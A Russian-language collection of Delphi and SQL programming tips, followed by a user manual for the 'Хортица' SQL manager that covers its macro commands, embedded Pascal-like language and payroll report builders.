Автор: Steve Koterski Кто-нибудь знает как "вытащить" месяц или год из datetime-поля с помощью SQL? Я знаю, что QBE этого не может. SQL в состоянии это сделать? Как насчет функции EXTRACT? SELECT SALEDATE,
EXTRACT(DAY FROM SALEDATE) AS DD,
EXTRACT(MONTH FROM SALEDATE) AS MM,
EXTRACT(YEAR FROM SALEDATE) AS YY
FROM ORDERS
SQL и расширенные символы.
Я использую поле Tmemo. Это классно работает до тех пор, пока я не использую расширенные символы (с кодом больше 127). При использовании этих символов текст-то я послать могу, но при последующем поиске записи я получаю такое сообщение об ошибке: "General SQL error : Cannot transliterate character between character sets." (Общая ошибка SQL: не могу сопоставить символ с имеющимися наборами символов). Я понял, в чем ваша ошибка: вы должны установить встроенный набор символов LIBS в DEFAULT CHARACTER SET ISO8859_1. Когда вы впоследствии создадите таблицу, она будет использовать данный набор символов для создания alfanumeric-данных и Blob-полей. Псевдоним базы данных должен быть установлен на драйвер языка BLLT1FR. После того, как я сделал это и пересоздал базу данных, все заработало как надо.Может быть и не стоило публиковать эту информацию, поскольку многие пользователи пользуются локальными драйверами, наборами символов и новой версией SQL, но я посчитал ее ценной, поскольку как раз эта инфорамция в описании и отсутствует. Она присутствует только в LIBS "readme"-файле.
SQL в Delphi.
Автор: OAmiry (Borland) Delphi поддерживает статический и динамический SQL. В Delphi имеется объект TQuery, который используется для хранения и выполнения SQL-запросов. Свойство TQuery SQL содержит текст SQL-запроса, выполняемых TQuery. Данное свойство имеет тип TStrings, означающее, что оно может хранить в списке целую серию строк. Список ведет себя подобно массиву, но в действительности это специальный класс с уникальными возможностями. Компонент TQuery позволяет выполнять два типа SQL-запросов: Статические SQL-запросы Динамические SQL-запросы Статический SQL-запрос устанавливается во время проектирования и не содержит никаких параметров или переменных. Например, следующая строка является статическим SQL-запросом: SELECT * FROM CUSTOMER WHERE CUST_NO = 1234 Динамический SQL-запрос, или, как его еще называют, параметрический запрос, включает в себя параметры для колонок или имени таблицы. Например, следующая строка является динамическим SQL-запросом: SELECT * FROM CUSTOMER WHERE CUST_NO = :Number Переменная Number, указанная после двоеточия - параметр, который вы назначаете во время выполнения приложения. Во время выполнения запроса параметр может изменяться. Delphi-приложения могут использовать SQL для получения доступа к следующим БД: Таблицы Paradox или dBASE, использующие локальный SQL. Допустимый синтаксис является подмножеством стандарта ANSI-standard SQL и включает основные SELECT, INSERT, UPDATE, и DELETE запросы. Для получения дополнительной информации о локальном синтаксисе SQL обратитесь к справке Using Local SQL. Базы данных Local InterBase Server, включая Local InterBase Server. Допускаются любые запросы InterBase SQL. Для получения дополнительной информации о синтаксисе и ограничениях обратитесь к электронной справке SQL Statement and Function Reference. Базы данных на удаленных серверах баз данных (только в версии Delphi Client/server). По-видимому вы установили подходящий SQL Link. В SQL серверах допускаются любые стандартные SQL запросы. Для получения дополнительной информации о синтаксисе и ограничениях обратитесь к электронной справке вашего сервера. Delphi также поддерживает разнородные запросы к более чем одному серверу или типу таблицы (для примера, данные из таблицы Oracle и таблицы Paradox). Для получения дополнительной информации обратитесь к электронной справке Creating Heterogeneous Queries (создание гетерогенных запросов). Обработка транзаций в приложениях: Delphi приложения могут управлять транзакциями следующими способами: Неявно, автоматически стартуя и запуская транзакции, когда приложение пытается передать данные (Post data). Явно, следующими способами в зависимости от уровня управления, требующемуся вашему приложению: Методы TDatabase StartTransaction, Commit, и Rollback. Это рекомендуемый метод. Passthrough (транзитная пересылка) SQL в компоненте TQuery. Ваше приложение должно использовать специфически-серверные SQL запросы управления транзакциями, и вы должны понять как управляются транзакции вашим сервером.SQL-менеджер Хортица.
Автор: Рачек Е.А. WEB-сайт: http://amigonet.narod.ru Менеджер предназначен для управления данными при помощи SQL-запросов и операторов с упрощенным синтаксисом. С его помощью Вы сможете делать выборки из одной или нескольких таблиц, записывать результаты в новые таблицы или добавлять в существующие, легко и быстро создавать из выборки простые табличные отчеты, отчеты в виде «шахматок», сложные отчеты на основе результатов нескольких SQL-запросов и промежуточных расчетов, передавать их в MS Word, сохранять в текстовых файлах, и многое другое. Встроенный язык с синтаксисом Pascal позволит создавать вычисляемые поля, определять параметры для SQL-запросов, производить различные промежуточные расчеты. Дополнительно менеджер позволяет определять формы ввода, для занесения пользователем исходных данных. Разработанные и отлаженные процедуры (скрипты) можно в дальнейшем использовать под управлением менеджера или интегрировать в Delphi (C++Builder) проекты при помощи специального компонента. Для работы со скриптами менеджер использует многооконный текстовый редактор с удобной помощью (включающей примеры), подсветкой синтаксиса и рядом дополнительных возможностей. Менеджер работает с базами данных форматов Paradox и Dbase. Также его можно использовать с любыми другими базами данных через BDE (в т.ч. Access). Для его использования необходим компьютер с установленным BDE, версии не ниже 3.0 . Работа с менеджером Менеджер работает с процедурами, представляющими собой текстовые документы (скрипты). Для работы с документами в программу встроен специальный текстовый редактор, позволяющий одновременно работать с несколькими процедурами. Текущей всегда является одна процедура, окно которой в настоящий момент активно в редакторе. Создать новую процедуру, сохранить, переименовать, удалить, закрыть окно можно при помощи меню Файл. Для выполнения процедуры применяется пункт меню Выполнить (удобнее «горячей клавишей» F9). Открыть существующую процедуру можно при помощи меню Файл->Открыть или горячей клавишей ctrl+O (O латинское от слова Open). Для подсветки синтаксиса следует использовать Редактор ->Подсветка синтаксиса, или Ctrl+F1.Простой скрипт
select * from zsEmplДанный скрипт выводит на экран список сотрудников. Простым называется скрипт, состоящий из одного SQL-запроса и не содержащий макрокоманд. Если в скрипте имеются макрокоманды, то вывода на экран не происходит.
ShowGrid
select tn,f,DataRogd from zsEmpl @@ShowGridЕсли в запросе имеются дополнительные макрокоманды, то для вывода результатов запроса на экран необходимо использовать команду ShowGrid. Возможно использование нескольких таких команд в одном запросе.
Alias
@@Alias=dbDemos select * from clients @@ShowGridОбычно SQL-запрос работает с таблицами, находящимися в текущей папке. Иногда возникает необходимость работать с таблицами, находящимися в другой папке. В специальной терминологии папки, содержащие таблицы, называются базами данных и имеют уникальное имя. Сделать текущей одну из определенных в системе баз данных можно при помощи команды Alias. Если на Вашем компьютере установлен один из продуктов Borland вместе с примерами, то приведенный скрипт выводит содержимое таблицы Clients.dbf.
Param
@@Param sumaMin:f=100 select tn,f,knu,vo.name as NameKnu,god,mes,suma from zaSal sl left join zsEmpl se on se.tn=sl.tn left join zsVidOpl vo on vo.knu=sl.knu where suma>:SumaMin order by f @@ShowGrid
Для определения параметров, передаваемых SQL-запросу, служит команда Param. Синтаксис команды следующий:
@@Param ParamName:ParamType=ParamValue ParamName-имя параметра ParamType-буква, определяющая тип параметра: i-целое число (integer) f-число с плавающей точкой (float) d-дата (data) a-строка (alpha) ParamValue-значение, присваиваемое параметру.Razdel Команда предназначена для удобства навигации по программе. После команды следует указывать название раздела. По нажатию клавиши Alt+R на экране появляется список разделов, к началу любого из которых легко перейти посредством выбора.
SaveDsToFile, AppendDsToFile, Razdelitel.
@@Param god:i=2002 @@Param mes:i=7 //Выбор начислений select tn,sum(suma) as SumaNach,0 as sumaUd from zaSal where god=:god and mes=:mes group by tn @@SaveDsToFile c:\q1 //Выбор удержаний select tn,sum(suma) as sumaUd from zaUd where god=:god and mes=:mes group by tn @@AppendDsToFile c:\q1 //Рассчет итогов select tn, sum(SumaNach) as SumaNach, sum(SumaUd) as SumaUd from "c:\q1" group by tn @@SaveDsToFile c:\q2 //Рассчет суммы к выплате select tn,sumaNach,sumaUd, (sumaNach-sumaUd) as kVypl, //Здесь может произойти ошибка! 0 as dolg from "c:\q2" @@SaveDsToFile c:\q3 //Рассчет долга update "c:\q3" set dolg=0-kVypl,kVypl=null where kVypl Команда SaveDsToFile применяется для сохранения в файле формата Db результатов запроса. Команду AppendDsToFile следует использовать для добавления результатов запроса к существующему Db или Dbf файлу. Добавление записей происходит по именам полей. Порядок их следования не имеет значения. Если типы полей не совпадают, то происходит попытка автоматического преобразования типов. В обеих командах имя файла необходимо указывать без кавычек. Для хранения временных файлов лучше использовать специально отведенную папку, а не корневой каталог. Команда Razdelitel никаких действий не производит. Она предназначена для разделения двух последовательно идущих SQL-запросов. В данном примере, на основании массивов начислений и удержаний рассчитывается сумма к выплате для каждого сотрудника за месяц. В данном примере может произойти ошибка вычислений (см.комментарии). Это связано с тем, что при сложении значений двух полей в запросе, если одно из них не определено, то результат тоже не определен. Т.е., если у сотрудника не было удержаний (к примеру, он получает только детское пособие), то сумма к выплате будет не определена. Для исключения подобных ошибок удобнее использовать поля, вычисляемые при помощи встроенного языка, о котором речь пойдет далее.SaveDsToTxt
select * from zaSal @@SaveDsToTxt c:\q1.txtКоманда аналогична команде SaveDsToFile, но сохраняет данные в текстовом файле с разделителями символом “]”. В первую строку выводятся наименования полей с разделителями. Команду можно использовать для передачи больших объемов данных в другие приложения (для небольших объемов удобнее использовать меню Утилиты-> Экспорт в Word). EmptyTable
select * from zasal @@SaveDsToFile c:\q1 select * from "c:\q1" @@ShowGrid @@EmptyTable c:\q1 select * from "c:\q1" @@ShowGridКоманда предназначена для удаления всех данных из таблицы. Имя файла следует указывать без кавычек. Для успешного выполнения команды необходимо, чтобы таблица не была открыта другими приложениями, т.к. в ходе ее выполнения происходит открытие таблицы в монопольном режиме. Приведенный пример создает новую таблицу и передает в нее данные из архива начислений, выводит на экран полученную таблицу с данными, удаляет из нее данные и показывает на экране пустую таблицу. Exit Команда применяется для прекращения выполнения скрипта. Ее применяют для отладки. Использование встроенного языка В основу встроенного языка положен синтаксис языка Pascal. Встроенный язык используется для добавления к результатам SQL-запроса вычисляемых полей командой InsertField и для реализации различных вычислений. Строка, написанная на встроенном языке, должна начинаться с идентификатора “ps” и подсвечивается в редакторе зеленым цветом. Язык поддерживает ряд стандартных процедур и функций, а также специальные процедуры и функции, описание которых будет представлено ниже. Список специальных функций можно вызвать при работе в редакторе клавишей Ctrl+P.
ShowMessage
ps ShowMessage('Встроенные функции')
Эта функция предназначена для вывода в диалоговом окне передаваемого ей строкового параметра.
DefineGlobal, DefineTemp
ps DefineGlobal('s','string')
ps DefineTemp ('i','integer')
ps i:=100
ps s:=IntToStr(i)
@@Razdelitel
ps showMessage(s)
@@Exit
ps s:=IntToStr(i)
Обе функции предназначены для декларирования переменных. В качестве параметров функции передаются имя переменной и ее тип. Оба параметра указываются в виде строки. Отличие функций заключается в том, что переменная, определенная первой функцией, действует во всем скрипте, а переменная, определенная второй функцией, действует только в непрерывном блоке встроенного языка (до появления SQL-запроса или макрокоманды). В приведенном примере, после команды Razdelitel, переменная I прекращает существовать. Если убрать команду Exit, то при выполнении следующей строки будет выдано сообщение об ошибке.
Работа с результатами запроса, RecNo, RecordCount, SumField
select tn,
max(f) as f,
sum(suma) as suma
from zaSal sl
left join zsEmpl se
on se.tn=sl.tn
where god=2002 and Mes=7
group by tn
order by f
@@ShowGrid
ps showMessage('Запись № '+IntToStr(RecNo)+' Фамилия- '+f)
ps showMessage('Всего записей-'+IntToStr(RecordCount)+ ' общая сумма '+FloatToStr(SumField('Suma')))
Если блок, написанный на встроенном языке, находится после SQL-запроса, то к полям текущей записи запроса можно обратиться по имени, как к переменной. В приведенном примере, после выполнения запроса на экран выводится его результат (ShowGrid). При просмотре результатов Вы можете сделать текущей любую запись. После выхода из режима просмотра на экран последовательно выводится два диалоговых окна. В первом указывается номер текущей записи запроса (ф-ция RecNo) и фамилия сотрудника (обращение по полю F). Во втором окне показывается общее количество записей (ф-ция RecordCount) и сумма всех записей по полю Suma (ф-ция SumField).
Alias, SetAlias.
@@Alias=dbDemos
ps ShowMessage(Alias)
ps SetAlias('')
ps ShowMessage(Alias)
Первая функция возвращает имя текущей базы данных (см. описание команды Alias), вторая позволяет изменить текущую базу данных (аналогично команде Alias).
Param, SetParam.
@@Param data:d=01/02/03
ps ShowMessage(param('data'))
ps SetParam('data','15/12/94','d')
ps ShowMessage(param('data'))
Первая функция возвращает строку со значением указанного параметра (см. команда Param). Вторая позволяет создать или изменить параметр. В качестве параметров (параметры ф-ции) ей передается имя параметра (для SQL-запроса), его значение в виде строки, и буква, определяющая его тип (аналогично команде Param).
IfF(ifN), ifS.
ps showMessage(ifS(3=5,'истина','ложь')) ps showMessage(FloatToStr(ifF(3=5,10,20)))Функции возвращают первый параметр, в случае истинности условия, и второй параметр в противном случае. Для функции ifF(ifN) параметрами и результатом являются числа, а для функции ifS – строковые переменные.
CurrentDate, CurrentTime.
ps DefineGlobal('dt','integer')
ps dt:=CurrentDate
ps DefineGlobal('tm','double')
ps tm:=CurrentTime
Функции возвращают текущие дату и время.
JDateToStr, jStrToDate.
ps ShowMessage(jDateToStr(CurrentDate))
ps DefineGlobal('dt','integer')
ps dt:=jStrToDate('15/12/94')
Функции преобразовывают дату в строковое значение и строковое значение в дату.
Year, Month, Day.
ps DefineGlobal('s','string')
ps s:='год-'+IntToStr(year(CurrentDate))
ps s:=s+' месяц-'+IntToStr(month(CurrentDate))
ps s:=s+' число-'+IntToStr(day(CurrentDate))
ps ShowMessage(s)
Функции выделяют год, месяц и число из даты, передаваемой в качестве параметра.
FirstDayMonth, LastDayMonth.
ps DefineGlobal('y','integer')
ps DefineGlobal('m','integer')
ps y:=year(CurrentDate)
ps m:=month(CurrentDate)
ps DefineGlobal('s','string')
ps s:='Первый день месяца-'+jDateToStr(FirstDayMonth(y,m))
ps s:=s+' Последний день месяца-'+jDateToStr(LastDayMonth(y,m))
ps ShowMessage(s)
Функции получают в качестве параметров номер месяца и год и возвращают первый и последний дни месяца соответственно.
SpellMonth.
ps DefineGlobal('s','string')
ps DefineGlobal('i','Integer')
ps s:=''
ps For i:=1 to 12 do s:=s+SpellMonth(i)+','
ps delete(s,Length(s),1)
ps ShowMessage(s)
Функция возвращает наименование месяца, номер которого передан в качестве параметра.
Val_i.
ps DefineGlobal('i','integer')
ps i:=Val_i('12345')
Функция преобразует строку к целому числу.
JRound.
ps ShowMessage(FloatToStr(jRound(pi,3)))Функция округляет передаваемое в качестве параметра число до количества знаков после запятой, указанного во втором параметре.
Podstroka.
ps DefineGlobal('s','string')
ps s:='Иван,Николай,Тимофей,Петр'
ps ShowMessage(podstroka(s,',',1))
Функция разбивает передаваемую ей в качестве первого параметра строку на подстроки и возвращает подстроку, номер которой указан в третьем параметре. Нумерация начинается с нуля. Разделителем подстрок является второй параметр.
CalcTax.
ps DefineGlobal('suma','double')
ps DefineGlobal('tax','double')
ps Suma:=500
ps tax:=CalcTax(suma,1,false)
ps DefineGlobal('s','string')
ps s:='Подоходный налог с '+FloatToStr(suma)+' грн. '
ps s:=s+'составляет '+FloatToStr(tax)+' грн.'
ps ShowMessage(s)
Функция рассчитывает подоходный налог по действующей шкале и имеет следующий синтаксис: CalcTax(suma,knp,IsNotLgota), где Suma-сумма, с которой исчисляется подоходный налог Knp-количество необлагаемых минимумов, применяемых при расчете налога, для сотрудника, не имеющего льгот, необходимо установить 1. Для совместителя – 99. IsNotLgota-Истинное значение этого параметра приводит к расчету налога без учета льготы. Параметр необходимо применять в случае, если вновь принятый (или уволенный) работник проработал на предприятии менее 15 календарных дней (в соответствии с «Декретом о подоходном налоге»)
InsertField, SaveDslToFile.
select tn, sum(suma) as suma, max(f) as f, max(i) as i, max(o) as o from zaSal sl left join zsEmpl se on sl.tn=se.tn where god=2002 and mes=7 group by tn order by f,i,o @@InsertField Nn:i=RecNo @@InsertField tax:F=jRound(CalcTax(suma,1,false),2) @@InsertField tax2:F=jRound(ifF(sumaКоманда InsertField предназначена для добавления вычисляемых на встроенном языке полей к результатам выполнения SQL-запроса. Результаты выполнения запроса, вместе с добавленными полями, могут быть сохранены в таблице командой SaveDslToFile. Работа с командой идентична работе с SaveDsToFile. Команда InsertField имеет следующий синтаксис:
InsertField FieldName:FieldType=formula, где: FieldName-имя поля FieldType-тип поля, определяемый следующими буквами: I-целое число F-Число с плавающей точкой A-строковое поле. После буквы A следует указать размерность поля (например A25) Formula-выражение для вычисления значения поля на встроенном языке. При необходимости переноса выражения на следующую строку, ее необходимо начинать с символа «;»Построение табличных отчетов
MakeDsChees,CheesPrint,CheesShow, CheesTable,CheesHeaderTextAdd,InputDataMonth.
//@@InputDataMonth
ps if param('Data1')='' then SetParam('data1','01/07/02','d')
ps DefineGlobal('god','integer')
ps DefineGlobal('mes','integer')
ps god:=year (jStrToDate(param('data1')))
ps mes:=month(jStrToDate(param('data1')))
ps SetParam('god',IntToStr(god),'i')
ps SetParam('mes',IntToStr(mes),'i')
select tn,
sum(suma) as suma,
max(f) as f,
max(i) as i,
max(o) as o
from zaSal sl
left join zsEmpl se
on sl.tn=se.tn
where god=:god and mes=:mes
group by tn
order by f,i,o
@@InsertField Nn:i=RecNo
@@InsertField tax:F=jRound(CalcTax(suma,1,false),2)
@@InsertField Fio:a20=f+' '+copy(i,1,1)+'.'+copy(o,1,1)+'.'
@@SaveDslToFile c:\q1
select nn,tn,fio,suma,tax
from "c:\q1"
@@MakeDsChees(
nn,№,1,right
tn,Табель- ный номер,2,center,,,0000
fio,ФИО,5
suma,Сумма,3,right,,,0.00,sum
tax,Налог,3,right,,,0.00,sum)
ps CheesHeaderTextAdd('Расчет начислений и подоходного налога')
ps DefineGlobal('s','string')
ps s:='за '+SpellMonth(mes)+' '+IntToStr(god)+' года'
ps CheesHeaderTextAdd(s)
@@CheesShow
//@@CheesTable
//@@CheesPrint
Для построения табличных отчетов применяется команда MakeDsChes. Синтаксис команды следующий:
MakeDsChes( Field1,title1,width1,Alignment1,FontSize1,FontStyle1,format1,agr1 ---------------------------------------------------------------- FieldN,titleN,widthN,AlignmentN,FontSizeN,FontStyleN,formatN,agrN ) Field-Имя поля Title-Заголовок колонки Width-Ширина колонки (см.) Alignment-способ выравнивания колонки (left,right,center) FontSize-размер шрифта FontStyle-не испльзуется Format-формат вывода для числовых полей (00,0.00,0.##) Agr-агрегатная функция для колонки (используется только Sum)Для формирования заглавия отчета применяется функция встроенного языка CheesHeaderTextAdd. Передаваемый ей строковый параметр помещается в заглавие отчета. Допускается несколько вызовов данной функции для отчета, заглавие которого состоит из нескольких строк. Полученный отчет можно вывести на принтер командой CheesPrint, вывести на экран в режиме предварительного просмотра командой CheesShow, просмотреть на экране в виде таблицы командой CheesTable. Из последнего режима щелчком правой кнопки мышки можно экспортировать отчет в MS Word. (в примере отчет выводится на экран в режиме предварительного просмотра, остальные режимы закоментированы). Многие бухгалтерские отчеты делаются за некоторый промежуток времени: месяц, квартал, полугодие, год. Для возможности ввода пользователем периода охвата отчета существует команда InputDataMonth. Если поместить команду в начало отчета (в примере, удалить комментарий в первой строке и закомментировать команду вывода отчета), то на экране появится диалоговая форма, позволяющая указать период отчета и имеющая несколько управляющих кнопок. Кнопка «Применить» служит для формирования отчета, кнопки «Таблица» и «Печать» говорят сами за себя. Для вывода отчета в режиме предварительного просмотра необходимо воспользоваться правой кнопкой мышки. После нажатия кнопки «Применить» начинается выполнение скрипта. При этом ему передается два параметра: Data1 и Data2, соответствующие началу и окончанию указанного периода. Если в процедуре определены одноименные параметры, то они и будут действовать, независимо от выбора пользователя. Для исключения подобных ситуаций при отладке скрипта следует пользоваться функциями встроенного языка, как это показано в начале примера. Построение шахматки (отчета с заранее не известным числом столбцов)
MakeChees.
@@Param god:i=2002
select f as vKrt, //Положение ячейки по вертикали
mes+100 as gKrt, //Положение ячейки по горизонтали
cast(tn as char(4))+'-'+f as vKrtText,
//Надпись для строки
cast(tn as char(4)) as vKrtText2,
//Надпись для строки 2
mes,
suma
from zaSal sl
left join zsEmpl se
on sl.tn=se.tn
where god=:god
@@InsertField gKrtText:a15=SpellMonth(round(mes))
//Заголовок столбца
@@SaveDslToFile c:\q1
@@MakeChees(
c:\q1 //Имя файла с данными
orientation=poLandscape //Ориентация бумаги
DefaultAlignment=taRightJustify //Способ выравнивания
defaultNumericFormat=0.00 //Формат ячейки
zeroColWidthFirst=5 //Ширина первой колонки (с текстом) на левом листе
zeroColWidthNext=1 //Ширина первой колонки на остальных листах
AutoSumRows=true //Добавить итоги по строкам
AutoSumColumns=true //Добавить итоги по столбцам
defaultColWidth=2 //Ширина столбца
)
ps CheesHeaderTextAdd('Начисленная заработная плата за '+param('god')+' год')
@@CheesShow
//@@CheesPrint
//@@CheesTable
Отчет-шахматка состоит из строк и столбцов. Каждый столбец может иметь свой заголовок. Каждая строка (в первой колонке) может иметь свою надпись. Если ширины столбца недостаточно для размещения заголовка, то высота первой строки автоматически увеличивается, и надпись размещается в несколько строк. При разделении заголовка на строки, в первую очередь программа пытается разбить его по словам (анализ-- по пробелам). Если длина слова превышает ширину столбца, то слово разделяется на части. Аналогично размещается надпись строки. Таким образом, в отчете могут быть определены первые строка и столбец. Все остальные ячейки могут состоять только из цифр. Для формирования шахматки следует воспользоваться командой MakeChees, в которую в качестве первого параметра передается имя файла с подготовленными данными. Далее могут следовать дополнительные параметры (каждый с новой строки), определяющие свойства отчета. Полный список параметров, с описанием их назначения, приведен в конце статьи, а также доступен в помощи программы. Если размер отчета больше листа (как по высоте, так и по ширине), то программа автоматически размещает его на нескольких листах.
Каждая запись файла с данными определяет ячейку отчета. Структура файла:
GKrt-(горизонтальный критерий) относительный номер столбца
VKrt-(вертикальный критерий) относительный номер строки
Suma-сумма ячейки
GkrtText-заголовок столбца
VkrtText-подпись строки
VkrtText2-подпись строки дополнительных листов
Первые два поля однозначно определяют позицию ячейки. Они могут быть как числовыми, так и текстовыми. Однако следует иметь в виду, что при определении позиции ячейки содержимое этих полей приводится к текстовому виду, и по нему производится сортировка. Если несколько записей файла с данными имеют одинаковые значения полей GKrt и VKrt, то в отчете появится одна ячейка с суммой всех таковых записей. Поля GkrtText и VkrtText определяют заголовки строки и столбца. Учитывая, что в строке или столбце может быть заполнено несколько ячеек, то вышеуказанные поля приводят к избыточности и увеличивают размер файла с данными. Для экономии места на диске в файле данных эти поля можно не определять. Для определения заголовков следует создать два дополнительных файла со структурой: GKrt и Text, и VKrt и Text. Эти файлы должны определять надписи строк и столбцов отчета и не несут избыточной информации. Имена этих файлов записываются в первой строке параметров команды MakeChees после указания файла с данными через запятую. Поле VkrtText2 будет использовано программой в том случае, если отчет будет размещаться по ширине на нескольких листах. При этом ширину колонки подписей строк можно задать отдельно для крайнего левого листа и остальных листов. В этом случае на левом листе будет выводиться текст, определенный полем VkrtTex, а на остальных листах –текст, определенный VkrtText1. Например, на левом листе в первой колонке показывается табельный номер сотрудника и его ФИО (ширина колонки 5 см), а на остальных листах только табельный номер (ширина колонки 1 см). Работа с данным отчетом идентична работе с табличным отчетом (MakeDsChees). К нему можно добавить заголовок функцией встроенного языка CheesHeaderTextAdd. Также отчет может быть распечатан командой CheesPrint, показан на экране в режиме предварительного просмотра командой CheesShow, или показан в виде таблицы командой CheesTable (из которой возможен экспорт в Word). В приведенном примере показан отчет, отражающий помесячно начисления каждого сотрудника за год. По строкам показаны сотрудники, по столбцам—месяцы. Итоги подведены по строкам и столбцам.
RepInitChees, RepInsertConst, RepInsertHeader, RepInsertItogQu, RepInsertQu, RepInsertTxt, RepPreView, RepViewTable
Построение сложных отчетов
Под термином «сложные отчеты» в данном случае понимаются отчеты, собирающие в себе разноплановую информацию – результаты нескольких SQL-запросов, различные рассчитанные величины. Таковыми являются практически все отчеты, сдаваемые в налоговую инспекцию или статистику. Для примера приведен некоторый абстрактный отчет, обрабатывающий результаты расчета зарплаты за указанный месяц и отражающий:
свод начислений распределение зарплаты по сотрудникам (начислено, удержано, к выплате, долг) сотрудник с наименьшими начислениями сотрудник с наибольшими начислениями разница между наименьшим и наибольшим начислением //@@InputDataMonth ps if param('Data1')='' then SetParam('data1','01/07/02','d') ps DefineGlobal('god','integer') ps DefineGlobal('mes','integer') ps god:=year (jStrToDate(param('data1'))) ps mes:=month(jStrToDate(param('data1'))) ps SetParam('god',IntToStr(god),'i') ps SetParam('mes',IntToStr(mes),'i') ps if god<>2002 then ShowMessage('В баззе данных представлена информация только за 2002 год!') @@RepInitChees 1 @@RepInsertHeader Отчет по заработной плате ps DefineGlobal('s','string') ps s:='за '+SpellMonth(mes)+' '+IntToStr(god)+' года' @@RepInsertHeader global:s @@RepInsertHeader @@Razdel свод начислений @@RepInsertTxt начисление зарплаты по видам оплат, сумма select knu, sum(suma) as suma, max(vo.name) as Name from zaSal sl left join zsVidOpl vo on vo.knu=sl.knu where god=:god and mes=:mes group by knu order by knu @@RepInsertQu name,suma @@Razdel Распределение по сотрудникам @@RepInsertTxt распределение по сотрудникам, сумма select tn,sum(suma) as SumaNach,0 as sumaUd from zaSal where god=:god and mes=:mes group by tn @@SaveDsToFile c:\q1 //Выбор удержаний select tn,sum(suma) as sumaUd from zaUd where god=:god and mes=:mes group by tn @@AppendDsToFile c:\q1 //Рассчет итогов select tn, sum(SumaNach) as SumaNach, sum(SumaUd) as SumaUd, max(f) as f, max(i) as i, max(o) as o from "c:\q1" q1 Left join zsEmpl se on q1.tn=se.tn Group by tn @@InsertField razn:f=SumaNach-SumaUd @@InsertField kVypl:f=ifF(Razn>0,razn,0) @@InsertField Dolg:f=ifF(Razn Отчет строится в виде таблицы по следующему принципу: в начале идет колонка с номером строки, следующей идет колонка с текстовой информацией, описывающей строку, затем следует несколько колонок с цифрами (суммы строки). Для определения заголовка отчета применяется команда RepInsertHeader. После команды следует текстовая информация, которая будет помещена в заголовок отчета. Параметром команды может быть строковая глобальная переменная. В этом случае в команде указывается global:VarName, где VarName – имя переменной. Для определения количества колонок с суммами в отчете используется команда RepInitChees, после которой указывается количество колонок. Эта команда может использоваться несколько раз на протяжении отчета. Команда RepInsertTxt используется для вставки текстовой информации в колонки отчета (например, наименований столбцов). После команды следует указать через запятую информацию, помещаемую в каждую колонку отчета. Здесь также можно использовать глобальные переменные. Команда RepInsertConst используется для вставки цифровой информации в отчет. После команды следует указать текстовую информацию, описывающую данную строку, затем, через запятую, содержимое числовых ячеек. В любой колонке может быть значение глобальной переменной. В случае необходимости выделить строку жирным, после команды необходимо указать ключевое слово «bold», после которого следует поставить запятую. Команда RepInsertQu используется для вставки результатов выполнения последнего SQL-запроса в отчет. После команды следует указать имя поля, значение которого следует поместить в колонку, описывающую строку. Затем, через запятую, имена полей, помещаемые в числовые колонки отчета. В отчет последовательно помещаются все записи запроса. После последней записи в отчет добавляется строка с комментарием «Итого» и итогами по каждой колонке. Эта строка выделяется жирным. Команда RepInsertItogQu аналогична предыдущей команде. В отличие от нее в отчете появляется только одна, итоговая строка. Для предварительного просмотра результатов используется команда RepPreView. Команды для печати отчета не предусмотрено. Вместо нее следует использовать в начале скрипта команду InputDataMonth, которая запрашивает входные параметры для формирования отчета, а также позволяет просматривать и распечатывать сформированный отчет (в скрипте следует удалить комментарий с первой строки и закомментировать последнюю строку). InputUsing, Procedure, EndProcedure, RunProcedureКоманда InputUsing предназначена для определения формы ввода. Параметрами команды могут быть следующие ключевые слова:
Label –вывод надписи на экран
EdYearMonth –ввод года и месяца
EdInteger –ввод целого числа
Edit –ввод строки
EdDate –ввод даты
EdFloat –ввод числа с плавающей точкой
EdData1Data2 –ввод 2-х дат (периода)
ControlReport–вывод панели с управляющими кнопками (выполнить, таблица, просмотр, печать)
Каждое ключевое слово определяет новую строку с полем (полями) ввода и комментарием. Комментарий следует указывать через запятую после ключевого слова. Далее, снова через запятую, указывается имя поля ввода. С таким именем будет открыт параметр, имеющий тип, определяемый типом поля ввода. Присвоенное значение параметру до команды InputUsing приведет к заполнению соответствующего поля ввода присвоенным значением. Ключевые слова EdData1Data2 и EdYearMonth определяют сразу два поля ввода, и, соответственно, два параметра. Имена параметров при этом определяются предопределенными Data1, Data2 и Year,Month (соответственно) и именем, указанным в строке (в примере YearGm и MonthGm). Одним из параметров ключевого слова ControlReport является OnRun=ИмяПроцедуры
Где ИмяПроцедуры – имя процедуры, выполняемой по нажатию кнопки Выполнить. Эта процедура должна содержать команду MakeDsChees, MakeChees, или MakeReport, результаты которых будут показаны на экране кнопкой Таблица, распечатаны кнопкой Печать, или показаны в режиме предварительного просмотра при помощи правой кнопки мышки.
@@Procedure расчет
select knu,vo.name as nameKnu,kolich,suma,suma as itg,'1' as nSort
from zaSal sl
left join zsVidOpl vo
on vo.knu=sl.knu
where tn=:tn and god=:YearGm and mes=:MonthGm
@@SaveDsToFile c:\qTbl
select knu,vo.name as nameKnu,suma,0-suma as itg,'2' as nSort
from zaUd ud
left join zsVidOpl vo
on vo.knu=ud.knu
where tn=:tn and god=:YearGm and mes=:MonthGm
@@AppendDsToFile c:\qTbl
select "*** Начислено" as NameKnu,
sum(suma) as suma,
'3' as nSort
from "c:\qTbl"
where knu=500
@@AppendDsToFile c:\qTbl
select "*** К выплате" as NameKnu,
sum(itg) as suma,
'5' as nSort
from "c:\qTbl"
@@AppendDsToFile c:\qTbl
select *
from "c:\qTbl"
order by nSort,knu
@@MakeDsChees(
knu,Код,2,center,,,000
NameKnu,Вид оплаты (удержания),7
Kolich,Отра- ботка,2,Right,,,0.#
suma,Сумма,2,Right,,,0.00
)
ps CheesHeaderTextAdd('Расчетный лист')
select *
from zsEmpl
where tn=:tn
ps CheesHeaderTextAdd(f+' '+i+' '+o)
ps CheesHeaderTextAdd('за '+SpellMonth(val_i(param('MonthGm')))+' '+param('YearGm')+' года')
@@EndProcedure
ps setParam('YearGm','2002','i')
ps setParam('MonthGm','7','i')
ps setParam('tn','37','i')
@@InputUsing(
Label ,Печать расчетных листов
edYearMonth ,,gm
edInteger,Табельный номер,tn
ControlReport,,,onRun=расчет)
Процедура определяется в тексте скрипта командой procedure, после которой указывается имя процедуры. Окончание процедуры в теле скрипта определяется командой EndProcedure.
ResetGlobalVar
Команда предназначена для уничтожения глобальных переменных (см. DefineGlobal).
Стандартные отчеты
